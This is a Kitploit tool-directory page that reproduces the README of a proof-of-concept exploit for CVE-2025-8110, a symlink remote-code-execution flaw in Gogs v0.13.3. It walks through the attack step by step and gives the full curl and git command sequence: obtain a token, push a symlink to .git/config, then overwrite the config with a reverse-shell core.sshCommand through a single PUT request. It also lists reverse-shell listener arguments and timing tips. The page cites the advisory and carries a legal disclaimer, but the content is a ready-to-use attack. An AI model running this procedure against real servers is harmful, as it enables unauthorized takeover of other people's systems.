Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-8110-PoC — One-shot exploit for Gogs symlink RCE (CVE-2025-8110) that triggers a reverse shell via a single PUT request to UpdateRepoFile. | Kitploit
Tools/GitHubGitHub/mananispiwpiw/cve-2025-8110-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubmananispiwpiw/cve-2025-8110-poc

CVE-2025-8110-PoC

One-shot exploit for Gogs symlink RCE (CVE-2025-8110) that triggers a reverse shell via a single PUT request to UpdateRepoFile.

View Repository
13 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-8110 PoC

Python proof-of-concept script for CVE-2025-8110 — Gogs v0.13.3 UpdateRepoFile symlink RCE. Single-shot: the malicious PUT itself triggers git fetch → sshCommand → reverse shell.

⚠️ For educational and authorized security research only. Running this tool against systems you do not own or lack written permission to test is illegal.

Details

  • PoC for CVE-2025-8110
  • Affected version: Gogs v0.13.3
  • Patched version: Gogs v0.13.4
  • Reference: https://github.com/gogs/gogs/security/advisories/GHSA-2f2w-5pm3-26wp

Vulnerable Behavior

The UpdateRepoFile handler in internal/db/repo_editor.go calls os.WriteFile to write file content, which follows symlinks without checking for them. Combined with the fact that previous commits of symlinks traverse into , an attacker can:

.git/
  1. Push a symlink x → .git/config to the bare repo
  2. Call PUT /api/v1/repos/{owner}/{repo}/contents/x with a malicious .git/config containing core.sshCommand set to a reverse shell command
  3. The same PUT request writes the config and triggers git fetch origin (via CreateOrUpdateRepoFile → UpdateLocalCopyBranch), which reads the modified config and executes sshCommand — spawning a reverse shell in one shot.

Files

  • poc.py: prompts for target, username, password, LHOST, and LPORT; logs in, creates an API token, creates a repository, pushes a symlink, and overwrites .git/config via the API — the single PUT request itself triggers the reverse shell.

Usage

Run:

root@kitploit:~
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001

Arguments

ArgumentRequiredDescription
--target / -tYesGogs target hostname or URL
--usernameYesExisting Gogs username
--passwordYesExisting Gogs password
--lhostYesListener IP for reverse shell
--lportYesListener port

How it works

  1. Login — logs into the Gogs web interface with the provided credentials
  2. Token — creates a personal API token via /user/settings/applications
  3. Repo — creates a new empty repository via the Gogs API
  4. Push symlink — clones the repo, creates a symlink x → .git/config, commits and pushes it
  5. Overwrite & trigger (single shot) — sends PUT /api/v1/repos/{owner}/{repo}/contents/x with a malicious git config containing core.sshCommand and an SSH remote URL. Gogs's CreateOrUpdateRepoFile internally calls UpdateLocalCopyBranch → git fetch origin, which reads the poisoned config and executes sshCommand — spawning a reverse shell in one request.

Equivalent curl

Login & get CSRF

root@kitploit:~
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# Extract _csrf from response
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
  -d '_csrf=<csrf>&user_name=<user>&password=<pass>'

Create API token

root@kitploit:~
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# Extract _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
  -d '_csrf=<csrf>&name=poc-token'

Create repo

root@kitploit:~
curl -X POST http://target/api/v1/user/repos \
  -H "Authorization: token <token>" \
  -H "Content-Type: application/json" \
  -d '{"name":"poc-repo"}'

Push symlink

root@kitploit:~
git clone http://<user>:<token>@target/<user>/poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "add symlink"
git push origin master

Overwrite & trigger (single PUT — expect timeout, shell arrives)

root@kitploit:~
curl -X PUT http://target/api/v1/repos/<user>/poc-repo/contents/x \
  -H "Authorization: token <token>" \
  -H "Content-Type: application/json" \
  --max-time 10 \
  -d '{"message":"x","content":"<base64 of malicious git config>"}'

The PUT request itself triggers git fetch origin, which reads the poisoned .git/config and executes the reverse shell. No second request is needed.

Why --max-time 10? The server may hang for ~10s while git processes the write and triggers the fetch. Using --max-time 10 ensures curl keeps the connection open long enough for the shell to connect back. Without it, the connection may drop before the shell fires.

Download Tool